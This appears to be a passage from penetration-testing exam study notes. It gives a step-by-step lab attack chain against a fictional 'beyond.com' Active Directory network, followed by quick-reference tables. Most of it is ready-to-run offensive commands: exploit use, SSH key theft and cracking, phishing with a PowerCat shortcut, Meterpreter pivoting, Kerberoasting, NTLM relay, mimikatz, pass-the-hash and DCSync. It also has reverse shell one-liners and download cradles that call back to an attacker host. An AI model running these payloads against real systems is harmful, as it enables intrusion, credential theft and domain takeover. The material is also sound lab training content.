kali@kali:~/beyond/websrv1$ python3 50420.py http://192.168.50.244 /etc/passwd
kali@kali:~/beyond/websrv1$ python3 50420.py http://192.168.50.244 /home/daniela/.ssh/id_rsa
kali@kali:~/beyond/websrv1$ chmod 600 id_rsa
kali@kali:~/beyond/websrv1$ ssh2john id_rsa > ssh.hash
kali@kali:~/beyond/websrv1$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
kali@kali:~/beyond/websrv1$ ssh -i id_rsa daniela@192.168.50.244

# 6. Local enumeration: linPEAS -> sudo NOPASSWD /usr/bin/git, DB password in wp-config.php, root-owned .git in the web root
kali@kali:~/beyond/websrv1$ cp /usr/share/peass/linpeas/linpeas.sh . && python3 -m http.server 80
daniela@websrv1:~$ wget http://192.168.119.5/linpeas.sh && chmod a+x ./linpeas.sh && ./linpeas.sh

# 7. Privesc: GTFOBins git through the pager (the PAGER variable variant was blocked; the help pager works)
daniela@websrv1:~$ sudo git -p help config
!/bin/bash
root@websrv1:/home/daniela# whoami

# 8. Loot: git history of the web root shows a removed script with a domain password
root@websrv1:/srv/www/wordpress# git log
root@websrv1:/srv/www/wordpress# git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1
# -> john:dqsTwTpZPn#nL (rsync to 192.168.50.245)

# 9. Validate every credential against every host and service you know (SMB on MAILSRV1 here)
kali@kali:~/beyond$ crackmapexec smb 192.168.50.242 -u usernames.txt -p passwords.txt --continue-on-success
kali@kali:~/beyond$ crackmapexec smb 192.168.50.242 -u john -p "dqsTwTpZPn#nL" --shares
# valid domain user, no "Pwn3d!" so not local admin

# 10. Internal foothold by phishing (course path, not an exam vector): WebDAV share with a Library file + .lnk running PowerCat, mail sent through MAILSRV1 as john
kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
kali@kali:~/beyond$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 . && python3 -m http.server 8000
kali@kali:~/beyond$ nc -nvlp 4444
kali@kali:~/beyond$ sudo swaks --to daniela@beyond.com,marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
# -> shell as beyond\marcus on CLIENTWK1 (172.16.6.243)

# 11. Local enumeration on the client: winPEAS, verify the OS yourself, DNS cache reveals DCSRV1 and MAILSRV1 internal IPs
PS C:\Users\marcus> iwr -uri http://192.168.119.5:8000/winPEASx64.exe -Outfile winPEAS.exe
PS C:\Users\marcus> .\winPEAS.exe
PS C:\Users\marcus> systeminfo

# 12. AD enumeration: SharpHound from the client, BloodHound queries, resolve new names
PS C:\Users\marcus> powershell -ep bypass
PS C:\Users\marcus> . .\SharpHound.ps1
PS C:\Users\marcus> Invoke-BloodHound -CollectionMethod All
# Cypher: MATCH (m:Computer) RETURN m ; MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
PS C:\Users\marcus> nslookup INTERNALSRV1.BEYOND.COM
# -> beccy is Domain Admin with a session on MAILSRV1; daniela has an SPN (kerberoastable)

# 13. Pivot (course: Meterpreter autoroute + socks_proxy; exam: chisel R:socks or ssh -D instead)
kali@kali:~/beyond$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.119.5 LPORT=443 -f exe -o met.exe
msf6 > use multi/handler ; set payload windows/x64/meterpreter/reverse_tcp ; set LHOST 192.168.119.5 ; set LPORT 443 ; set ExitOnSession false ; run -j
msf6 > use multi/manage/autoroute ; set session 1 ; run
msf6 > use auxiliary/server/socks_proxy ; set SRVHOST 127.0.0.1 ; set VERSION 5 ; run -j
# /etc/proxychains4.conf: socks5 127.0.0.1 1080

# 14. Internal enumeration through the proxy: SMB signing off on MAILSRV1 and INTERNALSRV1, web on INTERNALSRV1
kali@kali:~/beyond$ proxychains -q crackmapexec smb 172.16.6.240-241 172.16.6.254 -u john -d beyond.com -p "dqsTwTpZPn#nL" --shares
kali@kali:~/beyond$ sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.6.240 172.16.6.241 172.16.6.254

# 15. Reach the internal web app from the Kali browser: chisel reverse port forward from the client
kali@kali:~/beyond$ ./chisel server -p 8080 --reverse
C:\Users\marcus> chisel.exe client 192.168.119.5:8080 R:80:172.16.6.241:80
# /etc/hosts: 127.0.0.1 internalsrv1.beyond.com -> http://internalsrv1.beyond.com/wordpress/wp-admin

# 16. Kerberoast through the proxy, crack, log in to the internal WordPress as daniela
kali@kali:~/beyond$ proxychains -q impacket-GetUserSPNs -request -dc-ip 172.16.6.240 beyond.com/john
kali@kali:~/beyond$ sudo hashcat -m 13100 daniela.hash /usr/share/wordlists/rockyou.txt --force

# 17. Lateral movement by NTLM relay: the Backup Migration plugin's "Backup directory path" set to //192.168.119.5/test makes INTERNALSRV1 authenticate to Kali; relay it to MAILSRV1 (signing off, shared local admin password)
kali@kali:~/beyond$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.242 -c "powershell -enc <BASE64_REVERSE_SHELL>"
kali@kali:~/beyond$ nc -nvlp 9999
# cue: Authenticating against smb://192.168.50.242 as INTERNALSRV1/ADMINISTRATOR SUCCEED -> SYSTEM shell on MAILSRV1

# 18. Cached credentials on MAILSRV1 with mimikatz -> beccy NTLM (and cleartext from the kerberos provider)
PS C:\Users\Administrator> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 19. Domain controller: pass the hash as the Domain Admin
kali@kali:~$ proxychains -q impacket-psexec -hashes 00000000000000000000000000000000:f0397ec5af49971f6efbdb07877046b3 beccy@172.16.6.240
# -> nt authority\system on DCSRV1

# 20. (Exercise) Domain Administrator (RID 500) hash via DCSync, not from the local SAM
mimikatz # lsadump::dcsync /user:beyond\Administrator

What the chain teaches for the exam

  • Every new credential goes straight into creds.txt and gets sprayed against every known host and service before anything clever.
  • Version numbers from nmap and wpscan lead to searchsploit; a file read bug is enough when SSH keys exist.
  • Local enumeration first (linPEAS/winPEAS), then verify what the tool says by hand (systeminfo, sudo -l).
  • Git history, config files and DNS cache are where the next hop hides.
  • SMB signing off plus a way to trigger authentication equals relay; check --shares output for "signing: False".

21. Quick Reference

21.1 Reverse shells per language and OS

Target contextUseListener
Linux, bash availablebash /dev/tcp one-linernc -nvlp <LPORT>
Linux, command runs under sh (PHP system(), cron)wrap in bash -c "..." or use the mkfifo + nc linenc -nvlp <LPORT>
Linux, nc with -e present (which nc)nc <LHOST> <LPORT> -e /bin/bashnc -nvlp <LPORT>
Windows, PowerShell, can fetch from Kalipowercat download cradlepython3 -m http.server 80 + nc -nvlp 4444
Windows, payload must survive quoting (WMI, WinRM, DCOM, relay, URL)base64 UTF-16LE TCPClient one-liner (powershell -nop -w hidden -e)nc -nvlp <LPORT>
PHP web appPentestmonkey php-reverse-shell (edit $ip, $port) or simple-backdoor.php + one of the abovenc -nvlp <LPORT>
Any, you can upload and run a binarymsfvenom shell payload (exe / elf)nc or multi/handler
# Linux: bash reverse shell
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
# Linux: same, when the injection point runs sh instead of bash
bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
# Linux: sh + nc without -e (course uses it in a root cron script)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f
# Linux: nc with -e (check with: which nc)
nc -nv <LHOST> <LPORT> -e /bin/bash
# Kali: catch any of them
kali@kali:~$ nc -nvlp <LPORT>
# Windows: powercat cradle (copy powercat.ps1 to your web root first, see 21.6)
IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p 4444 -e powershell

# Windows: build the -enc string on Kali with pwsh (UTF-16LE base64); 18.4 has the python way
kali@kali:~$ pwsh
PS> $Text = '<TCPCLIENT_ONE_LINER_FROM_18.4>'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
# run it on the target (spaces as %20 inside a URL)
powershell -nop -w hidden -enc <BASE64>
# msfvenom shells. exam: allowed on all targets (msfvenom/multi/handler) as long as the payload is not Meterpreter
# stageless Windows x64 shell, catch with plain nc
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o nonstaged.exe
# staged Windows x64 shell: needs multi/handler with the same payload, nc cannot serve the stage
kali@kali:~$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o staged.exe
# Linux x64 shell
kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o shell.elf
# Meterpreter. exam: counts as Metasploit use, one machine only
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o met.exe

21.2 File transfer methods

DirectionKali sideTarget sideNotes
Kali -> Linuxpython3 -m http.server 80wget http://<LHOST>/linpeas.shcourse default; chmod a+x after
Kali -> Linuxpython3 -m http.server 80curl http://<LHOST>/<FILE> -o /tmp/<FILE>when wget is missing
Kali -> Windowspython3 -m http.server 8000iwr -uri http://<LHOST>:8000/<FILE> -Outfile <FILE>course default for winPEAS, SharpHound, mimikatz
Kali -> Windows, in memorypython3 -m http.server 80IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/<SCRIPT>.ps1')nothing written to disk
Kali -> Windowspython3 -m http.server 80certutil -urlcache -split -f http://<LHOST>/<FILE> <FILE>not in the course; built-in fallback when iwr is unavailable
Windows <-> Kali (SMB)impacket-smbserver share . -smb2supportcopy \\<LHOST>\share\<FILE> . / copy <FILE> \\<LHOST>\share\not in the course; easiest way to get loot (zip, ntds.dit.bak) back
Kali <-> SSH hostscp ./<FILE> <USER>@<TARGET>:/home/<USER>/same in reversecourse uses scp for its cloud Kali
Kali <-> Meterpretermeterpreter > upload <LOCAL> <REMOTE> / download <REMOTE>noneexam: Meterpreter box only
Kali <-> evil-winrmupload <FILE> / download <FILE> inside evil-winrmnoneneeds WinRM rights
Kali <-> RDPxfreerdp ... /drive:share,<KALI_DIR>\\tsclient\share in Explorernot in the course; standard xfreerdp option
Windows binaries on Kali/usr/share/windows-resources/binaries/serve with http.servernc.exe, plink.exe

21.3 Shell upgrade

# Non-TTY shell: spawn a pty first (ssh, su and sudo prompts need a TTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# The rest is not in the course, standard full-TTY steps:
# background the shell with Ctrl+Z, then on Kali
kali@kali:~$ stty raw -echo; fg
# back in the target shell: terminal type and size (read rows/cols on Kali with: stty size)
export TERM=xterm
stty rows <ROWS> columns <COLS>
# Windows shells: there is no pty; prefer evil-winrm or RDP when you have creds
# Enter-PSSession inside a bind/reverse shell gives broken output -> use evil-winrm from Kali
# runas does not work from a non-interactive shell (it cannot read the password prompt)

21.4 Common ports and what to run

PortServiceFirst commands
alldiscoverysudo nmap -sC -sV -oN <OUT> <TARGET>, then nmap -p 1-65535 <TARGET>, sudo nmap -sU --open -p 161 <RANGE>
21FTPnmap -sC -sV shows anonymous login; try known creds
22SSHbanner gives the OS release (search "OpenSSH 8.9p1 Ubuntu 3"); hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s <PORT> ssh://<TARGET>; reuse found keys ssh -i id_rsa <USER>@<TARGET>
25SMTPnc -nv <TARGET> 25 then VRFY <USER> (252 = exists, 550 = unknown); send mail with swaks
53DNSdnsrecon -d <DOMAIN> -t std, dnsenum <DOMAIN> (zone transfer attempt)
80 / 443 / 8080HTTP(S)whatweb http://<TARGET>, gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,config, sudo nmap -p80 --script=http-enum <TARGET>, wpscan --url http://<TARGET> --enumerate p --plugins-detection aggressive
88Kerberos (DC)impacket-GetNPUsers, impacket-GetUserSPNs, kerbrute passwordspray (section 17)
135RPC / WMI / DCOMlateral movement with admin creds (18.3, 18.10)
139 / 445SMBnmap -v -p 139,445 --script smb-os-discovery <TARGET>, sudo nbtscan -r <RANGE>, enum4linux <TARGET>, crackmapexec smb <TARGET> -u <USER> -p '<PASS>' --shares, smbclient -L //<TARGET>/ -U <USER>; signing:False = relay target
161/udpSNMPonesixtyone -c community -i ips, snmpwalk -c public -v1 -t 10 <TARGET> (users OID 1.3.6.1.4.1.77.1.2.25, processes 1.3.6.1.2.1.25.4.2.1.2, software 1.3.6.1.2.1.25.6.3.1.2, TCP ports 1.3.6.1.2.1.6.13.1.3)
389 / 636LDAP (DC)domain enumeration from a joined host (section 16)
1433MSSQLimpacket-mssqlclient <USER>:<PASS>@<TARGET> -windows-auth, then SELECT @@version
3306MySQLmysql -u root -p'root' -h <TARGET> -P 3306 --skip-ssl-verify-server-cert
3389RDPxfreerdp /cert-ignore /u:<USER> /d:<DOMAIN> /p:<PASS> /v:<TARGET>; hydra -L users.txt -p "<PASS>" rdp://<TARGET>
5432PostgreSQLpsql -h <TARGET> -p 5432 -U postgres, \l list DBs, \c <DB>
5985 / 5986WinRMevil-winrm -i <TARGET> -u <USER> -p "<PASS>" (Administrators or Remote Management Users)

21.5 Hashcat modes the course uses

ModeHashWhere it comes from
0MD5web app DBs, mutation rule practice
100SHA1web app DBs
1400SHA2-256web app DBs
1000NTLMmimikatz sekurlsa::logonpasswords, lsadump::sam, DCSync, secretsdump
5500NetNTLMv1Responder capture
5600NetNTLMv2Responder capture after a forced UNC authentication
27100NetNTLMv2 (NT)variant listed in the course
7500Kerberos AS-REQ pre-auth etype 23listed in hashcat --help output
13100Kerberos TGS-REP etype 23Kerberoasting (Rubeus kerberoast, impacket-GetUserSPNs)
18200Kerberos AS-REP etype 23AS-REP roasting (Rubeus asreproast, impacket-GetNPUsers)
13400KeePasskeepass2john output (strip the filename: prefix)
22911 / 22921 / 22931 / 22941 / 22951OpenSSH private key passphrasessh2john; aes-256-ctr keys give "Token length exception", crack with john
12001Atlassian (PBKDF2-HMAC-SHA1)Confluence DB
# Find a mode by name
kali@kali:~$ hashcat --help | grep -i "Kerberos"
# Standard crack line the course uses (--force inside a VM)
kali@kali:~$ sudo hashcat -m <MODE> <HASHFILE> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# john for SSH keys and other *2john formats
kali@kali:~$ ssh2john id_rsa > ssh.hash
kali@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

21.6 Tool locations on Kali

Tool / filePath or source
rockyou/usr/share/wordlists/rockyou.txt (gunzip rockyou.txt.gz once)
dirb lists/usr/share/wordlists/dirb/common.txt, big.txt, small.txt, others/names.txt
fasttrack/usr/share/wordlists/fasttrack.txt
SecLists/usr/share/seclists
hashcat rules/usr/share/hashcat/rules/ (best64.rule, rockyou-30000.rule)
john config/etc/john/john.conf
nmap NSE scripts/usr/share/nmap/scripts/ (sudo nmap --script-updatedb after adding one)
exploit-db/usr/share/exploitdb/exploits/ (searchsploit -m <ID> copies one)
linPEAS/usr/share/peass/linpeas/linpeas.sh
winPEAS/usr/share/peass/winpeas/winPEASx64.exe
PowerUp/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
PowerView/usr/share/windows-resources/powersploit/Recon/PowerView.ps1
mimikatz/usr/share/windows-resources/mimikatz/x64/mimikatz.exe (course runs it from C:\Tools)
SharpHound/usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
powercat/usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1
nc.exe, plink.exe/usr/share/windows-resources/binaries/
webshells/usr/share/webshells/ (php/simple-backdoor.php), /usr/share/laudanum
unix-privesc-check/usr/bin/unix-privesc-check
impacketimpacket-* commands in PATH (impacket-scripts package)
wsgidav/home/kali/.local/bin/wsgidav after pip3 install wsgidav
proxychains config/etc/proxychains4.conf (last line: socks5 127.0.0.1 1080)
Metasploit resource scripts/usr/share/metasploit-framework/scripts/resource
mingw cross compilerx86_64-w64-mingw32-gcc, i686-w64-mingw32-gcc
Rubeus, kerbrute, Spray-Passwords.ps1, PsExec, PsLoggedOn, vshadow.exenot packaged; course keeps them in C:\Tools on the lab client, get them from section 22
SigmaPotatowget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
chiselKali package for Linux; Windows build from the GitHub releases (section 22)

21.7 Credential type and what you can do with it

You haveDo thisSection
Cleartext domain passwordSpray it over SMB/Kerberos, RDP/WinRM in, AS-REP roast, Kerberoast, run SharpHound16.2, 17.5 to 17.7
Cleartext local passwordTry it on every host's local accounts (reuse), RDP, SSH, web logins, DB logins17.5
NTLM hash (domain account or RID 500)Pass the hash: impacket-wmiexec, impacket-psexec, smbclient --pw-nt-hash, evil-winrm -H; overpass the hash for Kerberos; crack with -m 100018.7, 18.8
NTLM hash of a service accountSilver ticket for its SPN; crack it17.8
krbtgt NTLM hashGolden ticket, domain-wide access18.11
Net-NTLMv2 (captured)Crack with -m 5600; if uncrackable, relay it with impacket-ntlmrelayx to a host with SMB signing offsection 10
AS-REP hashCrack with -m 1820017.6
TGS-REP hashCrack with -m 13100; the SPN host is where to try the password17.7
.kirbi ticket in LSASSPass the ticket with kerberos::ptt18.9
GPP cpasswordgpp-decrypt, usually a local admin password16.9
SSH private keychmod 600, ssh -i; passphrase: ssh2john + john21.5
KeePass databasekeepass2john + hashcat -m 1340021.5
DA / replication rightsDCSync everything, then PtH to the DC17.9
DB credentials (wp-config.php, config files)Log in to the DB, then spray the password as a user password17.5

22. References

22.1 OffSec

22.2 AD and Windows tools

22.3 Shells, transfer and tunneling

22.4 Cracking and lookup

22.5 Cloud (course modules 25 and 26, not in the exam)